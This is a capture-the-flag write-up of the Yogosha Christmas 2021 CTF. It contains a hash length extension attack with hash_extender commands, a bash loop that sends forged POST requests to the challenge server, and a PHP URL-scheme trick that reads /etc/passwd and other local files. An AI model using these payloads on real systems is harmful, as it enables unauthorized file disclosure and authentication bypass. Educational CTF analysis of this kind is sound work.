Yogosha Christmas 2021 CTF

newrouge
InfoSec Write-ups
Published in
6 min readJan 1, 2022

--

Hello security enthusiasts this Christmas i played “Yogosha CTF 2021” challenge as i got a mail from their team on 28th December, and i quickly signed up for it.

YogoshaOfiicial

Although i couldn’t complete all challenges but i learned new things i.e.

  • Hash Length Extension Attack.
  • PHP file_get_contents() LFI vuln. & PHP’s weird behaviours.

Whole CTF was based on naruto theme.

First challenge :

It was an easy OSINT challenge, which was about tracking down a user on flickr where he posted a image. Metadata of image contained flag and link for next challenge. Let’s focus on that.

Second Challenge (Uchiha or Evil):

Challenge URL: http://3.141.159.106
Description: I heard something important is stored in /secret.txt

Let’s try to load /secret.txt file on webserver. But it is not found(404). Then i asked the yogosha admin is it intended. Answer was : Yes it is a file in root directory and we have to get access to that*.

After little enumeration we can read /robots.txt file.

User-agent: Uchiha
Allow: /read.php

Notice the User-Agent field. When you try to access /read.php normally you get an message Access denied but. Let’s Intercept request and change the User-Agent.

GET /read.php HTTP/1.1
Host: 3.141.159.106
User-Agent: Uchiha

There is a comment in response “! — Our Uchiha developer is captivated by Danzo, please any uchiha who has experience check the source code for vulnerabilities; →”

Now there is a feature to submit some data, so you can make a post request with same user-agent, and some hash and file name in POST data, you will get source code of page.

And here is the line which checks User-Agent of request.

if ($_SERVER['HTTP_USER_AGENT']!=="Uchiha") :)

Now further reading we got all the php code we needed.

<?php
include "secret.php";
if(isset($_POST['string'])){
$arr=explode("|",$_POST['string']) ;
$filenames=$arr[1];
$hash=$arr[0];
if($hash===hash("sha256", $SECRET.$filenames ) && preg_match("/\//",$filenames)===0 ){
foreach(explode(":",$filenames) as $filename){
if(in_array($filename,["read.php","index.php","guinjutsu.php"])) {
$jutsu=file_get_contents($filename);
echo "Sharingan: ".$jutsu;
}
}
}
else{
echo "Verification Failed! You didn't awaken your sharingan!";
}
}}
?>
  • Now we can see that string= i/p is getting processed.
  1. First it checks if string varible is set or not.
  2. explode() function breaks a string in array with the given delimeter, here i.e. “|”.
  3. hash part is stored is in HASH variable and filename in filenames variable.
  4. It checks whether the hash provided is equal to hash calculated by prefixing a $SECRET to filename and and using sha256 algorithm.
  5. It also check if filename contain some LFI payload like “…/…/…/” by using preg_match() which checks for “/” presence in filename.
  6. then again breaking the filenames at delimeter “:” and getting it’s content using file_get_content() .

Although i understood everything at this point but couldn’t figure out what’s vulnerable here. So struggled a little then left the ctf for next day.

Next day, i got a message on discord that it is a Hash Length Extensiion attack which was also added in hint later.
Now it is very well known attack in cryptographic world but i was totally unaware of it’s existence. Let’s read what is this.

Blog : https://blog.skullsecurity.org/2014/plaidctf-web-150-mtpox-hash-extension-attack
Tool : https://github.com/iagox86/hash_extender

  • In nutshell if an application allows an user to control both hash and data and think that prefixing the unknown secret to data then hashing is secure way to verify that data is what it should be.
  • Then that logic is wrong. In this attack we can create a new hash by appending our payload to data which will be same as hash created by application.

I recommend reading about it from original post.

  • Now to use the tool we had everything except length of secret used for hashing. So what we can do we can create all possible ccombination from 1 to 50 or higher until we hit the right answer.

./hash_extender -d='read.php' -s 184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5 -f sha256 --out-data-format=html -l 8 -a ':guinjutsu.php'

But it’s output is very tidy

Type: sha256
Secret length: 41
New signature: fc979b4620daf4a9db3f5fdddfb3300469162e41daa0d60c976c336701bf7117 (new hash)
New string: read%2ephp%80%00%00%00%00%00%00%00%00%00%00%00%00%01%88%3aguinjutsu%2ephp (new data)

we cannnot manually generate 100s payloadsa and tehn copy paste everytime. so created a bash one liner which will automate the process of extracting the useful data and send it to server and check response in burp.

for i in {20..51}; do ./hash_extender -a=':guinjutsu.php' -d='read.php' -s 184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5 -f sha256 --out-data-format=html -l $i -o data | sed -n 3p| cut -d ":" -f 2 | cut -d " " -f 2 > hash; HASH=`cat hash`;DATA=`cat data`; curl -X POST 'http://3.141.159.106/read.php' -H "User-Agent: Uchiha" -d "string=$HASH%7C$DATA&submit=Sharingan" -x http://127.0.0.1:8080; done
  • This gives the correct length of key i.e. 41 and payload we needed.
    string=fc979b4620daf4a9db3f5fdddfb3300469162e41daa0d60c976c336701bf7117%7Cread%2ephp%80%00%00%00%00%00%00%00%00%00%00%00%00%01%88%3aguinjutsu%2ephp
    using this we can read content of guinjutsu.php file.
Sharingan: <?php
// This endpoint is deprecated due to some problems, I heard that other clans have stolen some jutsus
function check($url){
$par=parse_url($url);
if (((strpos($par['scheme'],'http')!==false)and($par['host']=='uchiha.fuinjutsukeeper.tech'))and($par['port']==5000)){
return True;
}
else{
return False;
}
}
if (isset($_POST['submit'])){
if ((isset($_POST['api']))and(isset($_POST['endpoint']))){
$url=$_POST['api'].$_POST['endpoint'];
if (check($url)){
$opts = array(
'http'=>array(
'method'=>"GET",
'follow_location'=>false,
'header'=>"Accept-language: en\r\n"
)
);
$context = stream_context_create($opts);
$file = file_get_contents($url, false, $context);
echo $file;
}
}
}
?>
  • We got some php woo000! again i understood the code but didn’t knew the underlying vulnerabilty. So it took some.
  • First it checks for POST request data and then concatenate two variable api and endpoint forming a url variable and parse it to parse_url() function which returns scheme and host and port of url in array format which is verified against.

if (((strpos($par['scheme'],'http')!==false)and($par['host']=='uchiha.fuinjutsukeeper.tech'))and($par['port']==5000)

So i quickly sent a POST request like this to /guinjutsu.php endpoint.

and it successfully check all mark and file_get_contents($url, false, $context); parses the url and fetches the response.

  • The thing is file_get_content() is very insecure it will fetch any data local, remote doesn’t matter.
  • So i tried with http://uchiha.fuinjutsukeeper.tech:5000/../../../../../../../etc/passwd but i got this response

file_get_contents(http://uchiha.fuinjutsukeeper.tech:5000/../../../../../../etc/passwd): Failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request

which is standard response for malformed urls.
  • At this i was ignoring very importan thing that (strpos($par['scheme'],'http') it’s only checking the presence of http string in scheme which was also
    mentioned in hints and as a result i was wandering on and off topics for a while from parse_url LFI blogs to youtube orange’s ssrf talks etc :).
  • So when i tried api=localhosthttp://uchiha.fuinjutsukeeper.tech:5000/../../../../../../etc/passwd&endpoint=&submit=Sharingan. It worked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Notice the localhosthttp in scheme which is not a valid scheme, response also contains warning about it along with file’s content.

I was surprised what happened and why it worked so asked creator and some peeps. Apparently that’s how PHP work and allegedly it takes file:// protocol as default if it doesn’t uderstand given scheme. I found that same behaviour persists with other file read functions in php like inlcude() etc.

  • So using this i read content of /secret.txt file(…/…/…/…/…/secret.txt) and found the flag for challenge.

Let me know if you guys have any feedback in comments or Twitter. Hoping to release more blogs and keep track of progress this year.

Thank you

--

--